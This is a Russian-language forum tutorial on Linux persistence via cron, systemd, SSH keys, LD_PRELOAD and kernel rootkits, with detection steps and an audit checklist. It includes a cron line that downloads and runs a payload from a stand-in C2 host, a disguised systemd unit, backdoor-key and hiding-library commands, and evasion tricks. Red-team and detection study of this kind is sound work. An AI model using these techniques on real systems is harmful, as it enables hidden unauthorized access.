PDA

Просмотр полной версии : Техники закрепления в Linux: cron, systemd, SSH-ключи, LD_PRELOAD и rootkits на практике


Сергей Попов
20.04.2026, 11:36
https://forum.antichat.xyz/attachments/4951630/img_8c8af70bba.png

Вот ситуация: вы получили reverse shell на Linux-сервере через дырявый веб-сервис. Первая мысль - «отлично, я внутри». Вторая - «а завтра админ перезагрузит сервер, и я потеряю всё». Persistence - закрепление в системе - это то, что отличает случайное проникновение от полноценной операции (в руководстве Linux для пентестера (https://forum.antichat.xyz/threads/592899/) этот этап разобран в контексте полного post-exploitation цикла). Ниже разберу пять техник закрепления в Linux, которые реально используются в Red Team engagement'ах, и для каждой сразу покажу, как её обнаружить. Без воды - конкретные команды, конкретные файлы и конкретные ловушки, в которые попадают и атакующие, и защитники.
Что такое persistence и почему это критично для post-exploitation
Persistence в терминах MITRE ATT&CK - набор тактик, позволяющих атакующему сохранять доступ к скомпрометированной системе после перезагрузки, смены паролей или даже частичной очистки. По сути, вы прячете «запасной вход» так, чтобы даже если основной канал обнаружат и закроют - вы могли вернуться.

Linux-серверы - идеальная цель для закрепления. Перезагружаются редко, антивируса в привычном понимании почти нигде нет, а админы далеко не всегда мониторят все точки автозагрузки. Большинство материалов по теме перечисляют техники списком, но не объясняют логику выбора: когда cron, а когда systemd? Почему SSH-ключи надёжнее reverse shell в

.bashrc

? В каком случае стоит рисковать с kernel-модулем? Именно эту логику я и раскрою.

Каждая техника привязана к конкретному MITRE ATT&CK ID - это не академическое украшение, а способ связать атакующую технику с правилами детекта в вашем SIEM.
Linux cron backdoor: самый частый и самый шумный способ
Cron (T1053.003 - Execution, Persistence, Privilege Escalation) - первое, за что хватается начинающий атакующий, и первое, что проверяет опытный защитник. Планировщик задач выполняет команды по расписанию - а значит, можно прописать загрузку payload'а каждые пять минут.

Типичный сценарий: атакующий добавляет

/5 * wget -O /tmp/.update.sh http://c2.example.com/payload && bash /tmp/.update.sh >/dev/null 2>&1

в crontab скомпрометированного пользователя. Трюк с

>/dev/null 2>&1

подавляет весь вывод и делает задачу «тихой» в логах.
Где именно прячутся вредоносные cron-задачи
Вот что нужно понимать: cron - это не один файл, это целое хозяйство. Новичок проверит

crontab -l

от своего пользователя и решит, что всё чисто. Опытный специалист проверит минимум пять мест.

Персональные crontab-файлы каждого пользователя лежат в

/var/spool/cron/crontabs/

(Debian) или

/var/spool/cron/

(Red Hat). Команда

for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done

проходит по всем учёткам. Особое внимание - на сервисных пользователей вроде

www-data

,

nobody

,

apache

. Атакующие любят именно их, потому что админы редко заглядывают в crontab сервисных аккаунтов.

Системный

/etc/crontab

может содержать вставки в самом конце файла. Директории

/etc/cron.d/

,

/etc/cron.hourly/

,

/etc/cron.daily/

,

/etc/cron.weekly/

,

/etc/cron.monthly/

- здесь скрипты получают «легитимные» имена вроде

logrotate-helper

или

php_cache_update

, чтобы не бросаться в глаза при беглом просмотре.

По данным исследования dohost.us, атакующие часто маскируют payload'ы под системные задачи - файлы

000anacron

или

sysstat-collect

. Работает, потому что админ видит знакомое имя и пролистывает дальше.
Обнаружение cron-бэкдора на практике
Первый шаг - тот самый цикл по всем пользователям. Второй -

ls -la /etc/cron.*

с флагом

-a

для скрытых файлов. Третий - логи: на Debian смотрите

/var/log/cron.log

или

grep CRON /var/log/syslog

, на Red Hat -

/var/log/cron

. Если задача дёргается каждые пять минут и вызывает

curl

,

wget

или

bash

с сетевым обращением - красный флаг.

Для автоматизации - auditd с правилом на запись в

/var/spool/cron/

и

/etc/cron.d/

. LinPEAS при сканировании выводит все нестандартные cron-задачи в отдельной секции - полезно и пентестеру, и защитнику.
Systemd persistence: вредоносный сервис под видом легитимного
Systemd Service (T1543.002 - Persistence, Privilege Escalation) - более элегантный способ, чем cron. Systemd сам перезапустит «упавший» сервис, и в списке юнитов ваш бэкдор будет выглядеть как обычный демон.

Атакующий создаёт unit-файл с директивами

Restart=always

и

RestartSec=60

.

ExecStart

указывает на reverse shell или загрузчик. Файл кладётся в

/etc/systemd/system/

(нужен root) или в

~/.config/systemd/user/

(обычный пользователь). Дальше

systemctl enable

+

systemctl start

- сервис закреплён и переживёт перезагрузку.

INI:



[Unit]
Description
=System Log Aggregator
After
=network.target
[Service]
Type
=simple
ExecStart
=/usr/local/bin/syslogd-helper
Restart
=always
RestartSec
=60
[Install]
WantedBy
=multi-user.target


Обратите внимание на имя:

System Log Aggregator

и бинарь

syslogd-helper

- выглядит абсолютно легитимно. Именно так это делается в реальных операциях. Никаких

persistence.service

или

backdoor.service

, как показывают в туториалах.
User-level vs system-level: важная разница для атакующего
Момент, на котором спотыкаются новички: user-mode сервисы через

systemctl --user

работают только пока пользователь залогинен - если не включён

loginctl enable-linger

. Забудете про linger - сервис умрёт при выходе из системы. System-level юниты в

/etc/systemd/system/

требуют root, зато работают всегда.

Ещё один хитрый приём (описан на temofeev.ru): вписать свой юнит в зависимости легитимного сервиса через

Requires=

, а вредоносную логику засунуть в

OnFailure=

. Если админ найдёт и удалит ваш юнит, легитимный сервис перестанет стартовать, кинет ошибку - и выполнит код из OnFailure. Это уже persistence, который переживает даже частичную очистку. Красиво, правда?
Обнаружение вредоносных systemd-юнитов


systemctl list-unit-files --state=enabled

покажет все активированные юниты. Ищите незнакомые имена и юниты, созданные недавно - проверяйте через

stat /etc/systemd/system/suspicious.service

. LinPEAS и pspy хорошо подсвечивают нестандартные юниты. Отдельно проверяйте

~/.config/systemd/user/

для каждого аккаунта - это место часто пропускают при аудите.

Для мониторинга в реальном времени - auditd-правило на

/etc/systemd/system/

и inotify-watch на создание новых файлов. Sysmon for Linux (по данным linuxsecurity.com) эффективно логирует создание процессов и позволяет связать запуск подозрительного бинаря с юнит-файлом.
SSH-ключи как backdoor: тихо, надёжно, переживает смену пароля
SSH Authorized Keys (T1098.004 - Persistence, Privilege Escalation) - мой любимый метод закрепления на реальных engagement'ах. Причина проста: это абсолютно легитимный механизм аутентификации. Никаких дополнительных процессов, никаких странных сервисов или cron-задач.

Сценарий: атакующий генерирует пару ключей

ssh-keygen -t ed25519 -f /tmp/backdoor_key -N ""

, затем добавляет публичный ключ в

~/.ssh/authorized_keys

целевого пользователя. Критически важно выставить правильные права:

chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys

. Если права кривые - SSH-демон откажется использовать файл, и ваш бэкдор просто не сработает. На эти грабли наступает каждый второй новичок.

Lateral movement через SSH (T1021.004) позволяет использовать закреплённый ключ для подключения к другим хостам, где тот же пользователь (например,

deploy

или

ansible

) имеет соответствующий authorized_keys.
Продвинутые трюки с SSH-ключами
Добавление ключа в

/root/.ssh/authorized_keys

- очевидный ход, который быстро обнаружат. Менее заметные варианты: добавить ключ системному пользователю вроде

git

,

deploy

или

backup

, у которого есть shell-доступ, и за ним никто не следит.

Ещё один приём - директива

AuthorizedKeysFile

в

/etc/ssh/sshd_config

. Если атакующий поменяет эту строку на

/etc/ssh/.auth_keys

, стандартный аудит authorized_keys ничего не найдёт. Файл-то лежит в совсем другом месте.
Обнаружение подброшенных ключей


find / -name "authorized_keys" -exec ls -la {} \; 2>/dev/null

найдёт все файлы authorized_keys в системе. Смотрите на timestamp - если файл менялся недавно, а легитимных изменений не было, это сигнал. Проверяйте

/etc/ssh/sshd_config

на нестандартные значения

AuthorizedKeysFile

. Мониторинг через auditd:

-w /root/.ssh/authorized_keys -p wa -k ssh_key_modification

даёт алерт при любом изменении файла.
LD_PRELOAD rootkit: перехват без модификации бинарей
Dynamic Linker Hijacking (T1574.006 - Persistence, Privilege Escalation, Defense Evasion) - техника, которая позволяет подменять функции стандартных библиотек, не трогая сами бинари. Динамический линковщик Linux загружает библиотеки из

LD_PRELOAD

или файла

/etc/ld.so.preload

раньше всех остальных. Ваша функция

read()

вызывается вместо стандартной - и вы можете фильтровать вывод, прятать файлы, маскировать процессы.

На практике: атакующий пишет на C библиотеку, перехватывающую

readdir()

, чтобы скрывать файлы с определённым префиксом из листинга. Компилируется через

gcc -shared -fPIC -o /lib/.hidden.so hook.c -ldl

, прописывается в

/etc/ld.so.preload

. После этого

ls

,

find

и даже

stat

не увидят скрытые файлы - все они используют одну и ту же библиотечную функцию.
Почему LD_PRELOAD не работает с SUID-бинарями
Момент, который обязательно нужно проговорить: если бинарь имеет бит SUID или SGID, линковщик игнорирует

LD_PRELOAD

из соображений безопасности.

sudo

,

passwd

,

ping

и прочие SUID-бинари не загрузят вашу вредоносную библиотеку через переменную окружения. Но файл

/etc/ld.so.preload

работает даже для SUID-бинарей - именно поэтому атакующие предпочитают этот файл, а не переменную.
Обнаружение LD_PRELOAD-хуков
Проверка банальна, но работает:

cat /etc/ld.so.preload

- файл либо не должен существовать, либо пустой на большинстве систем. Если там что-то есть - это почти наверняка нештатная ситуация. Дальше:

env | grep LD_PRELOAD

для текущего пользователя и

grep LD_PRELOAD /etc/environment /etc/profile /etc/bash.bashrc ~/.bashrc

для проверки shell-конфигов.

ldd /usr/bin/ls

покажет, какие библиотеки загружаются - нестандартные пути должны насторожить.
Linux rootkit: Diamorphine, Reptile и модификация syscall table
Rootkit (T1014 - Defense Evasion) в связке с Kernel Modules and Extensions (T1547.006 - Persistence, Privilege Escalation) - высший уровень закрепления в Linux. Загружаемый модуль ядра (LKM) получает полный контроль над ОС: может скрывать процессы, файлы, сетевые соединения и даже других пользователей.

Два наиболее известных open-source rootkit'а, исходники которых я разбирал сам, - Diamorphine и Reptile. Diamorphine работает через перехват системных вызовов: в старых версиях подменял указатели в syscall table (отключая WP-бит через cr0), а в современных (ядра 4.17+) использует ftrace-хуки. При вызове

getdents64

(листинг файлов) или

kill

(отправка сигналов) вызывается его функция-обёртка. Управление - через сигналы:

kill -31

- эскалация до root для вызывающего процесса,

kill -63

- скрытие/отображение процесса,

kill -64

- скрытие самого модуля из lsmod.

Reptile использует аналогичный подход, но добавляет скрытый reverse shell, активируемый magic-пакетом - специальным сетевым пакетом с определённой сигнатурой, который не отображается в обычном трафике. Зверь посерьёзнее.
Как обнаружить LKM rootkit
Парадокс kernel-rootkit'а: он контролирует ядро, а значит, может обмануть любой инструмент из userspace. Тем не менее рабочие методы есть.

Сравнение

/proc/modules

с содержимым

/sys/module/

- расхождения указывают на скрытый модуль (

lsmod

не поможет, он парсит тот же

/proc/modules

). Для Diamorphine можно проверить наличие перехвата: записать известный PID, отправить

kill -63

- если процесс исчезнет из

ps

, Diamorphine активен. Но этот тест модифицирует состояние системы, так что используйте осторожно.

rkhunter (

rkhunter --check

) и chkrootkit выполняют базовые проверки, хотя продвинутые LKM-rootkit'ы могут их обойти. Более надёжный подход - анализ памяти ядра через Volatility или LiME (Linux Memory Extractor) на отдельной доверенной машине.
Модификация shell-конфигов: .bashrc и .bash_profile
Unix Shell Configuration Modification (T1546.004 - Persistence, Privilege Escalation) - метод, который сам по себе не переживёт перезагрузку, но срабатывает каждый раз, когда пользователь открывает терминал или входит по SSH. Атакующий вставляет reverse shell в

.bashrc

или

.bash_profile

- и при каждом логине жертвы получает новое соединение.

Тонкость, на которой спотыкаются даже опытные специалисты:

.bash_profile

выполняется только для login shell (вход по SSH,

su -l

), а

.bashrc

- для интерактивных non-login shell (открытие терминала). В Ubuntu

.bash_profile

по умолчанию отсутствует, bash читает

.profile

, который делает source

.bashrc

- вставка в

.bashrc

покрывает оба случая. Но если

.bash_profile

существует (RHEL/CentOS), он перекрывает

.profile

, и

.bashrc

для login shell не выполнится. Нужна вставка в оба файла. А

.bash_login

вообще не выполняется при наличии

.bash_profile

- путаница знатная.

Системные аналоги -

/etc/profile

,

/etc/bash.bashrc

,

/etc/environment

- требуют root, но затрагивают всех пользователей. Обнаружение: регулярный diff этих файлов с эталоном или мониторинг через auditd с ключом на запись.
Практический чеклист: полный аудит persistence в Linux
Собираем всё в одно место. Последовательность, которую я использую на каждом engagement'е при threat hunting:


🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться
или
Войти

Bash:



# 1. Cron - все пользователи
for
u
in
$(cut -f1 -d: /etc/passwd)
;
do
echo
"== $u =="
;
crontab
-u
$u
-l
2>
/dev/null
;
done
ls
-la /etc/cron.* /var/spool/cron/
# 2. Systemd - нестандартные юниты
systemctl list-unit-files --state
=
enabled
|
grep
-v
'/usr/lib/'
find
~/.config/systemd/ /etc/systemd/system/ -name
'*.service'
-newer /etc/hostname
# 3. SSH - все authorized_keys
find
/ -name authorized_keys -o -name authorized_keys2
2>
/dev/null
|
xargs
ls
-la
grep
AuthorizedKeysFile /etc/ssh/sshd_config
# 4. LD_PRELOAD
cat
/etc/ld.so.preload
2>
/dev/null
;
echo
"---"
grep
-r LD_PRELOAD /etc/environment /etc/profile.d/ /etc/bash.bashrc
# 5. Kernel modules и rootkits
diff
<
(
lsmod
|
awk
'{print $1}'
|
sort
)
<
(
ls
/sys/module/
|
sort
)
;
rkhunter --check --sk


Этот чеклист не заменяет LinPEAS или PANIX (специализированный инструмент для тестирования persistence, описанный на linuxsecurity.com), но даёт быстрый ручной срез по всем точкам.

Дополнительно рекомендую auditd-правила на все критические пути:

/var/spool/cron/

,

/etc/systemd/system/

,

/root/.ssh/

,

/etc/ld.so.preload

. Sysmon for Linux в связке с auditd покрывает и создание файлов, и запуск подозрительных процессов.


Как выбрать технику закрепления под конкретный сценарий
Техники закрепления в Linux не равнозначны. Выбор зависит от привилегий, задачи и допустимого уровня «шума».

Обычный пользователь без root - работают user-cron, пользовательские systemd-юниты (

--user

) и SSH-ключи. С root - открываются system-level cron, systemd в

/etc/systemd/system/

,

/etc/ld.so.preload

и LKM-rootkits.

По скрытности: SSH-ключи практически бесшумны. Cron - шумный, обнаруживается первым. Systemd - средний уровень. LD_PRELOAD - тихий, но палится проверкой одного файла. Rootkit - максимальная скрытность, но и максимальный риск уронить систему.

По надёжности: systemd с

Restart=always

- самый надёжный, переживёт и перезагрузку, и падение процесса. Cron с интервалом в 5 минут - второй. SSH-ключ - вечный, пока не удалят файл. Rootkit переживает всё, кроме обновления ядра и перезагрузки (если модуль не прописан в

/etc/modules-load.d/

или

/etc/modules

, а для выживания после обновления ядра - через DKMS для автоматической пересборки).

В реальных операциях я всегда комбинирую минимум два метода: основной канал (systemd или SSH-ключ) и резервный (cron или .bashrc). Если защитники находят один - второй остаётся.
Вопрос к читателям
В чеклисте выше я использую

find / -name authorized_keys

для поиска подброшенных SSH-ключей, но это не ловит сценарий с изменённым

AuthorizedKeysFile

в sshd_config на нестандартный путь вроде

/etc/ssh/.auth_store

. Кто настраивал auditd-правило, покрывающее именно этот кейс - мониторинг изменений директивы

AuthorizedKeysFile

в

/etc/ssh/sshd_config

плюс watch на появление новых файлов по нестандартному пути? Покажите вашу конфигурацию auditd-rule: какой ключ

-k

используете и ловите ли

sshd -t

(тест конфига) как дополнительный индикатор?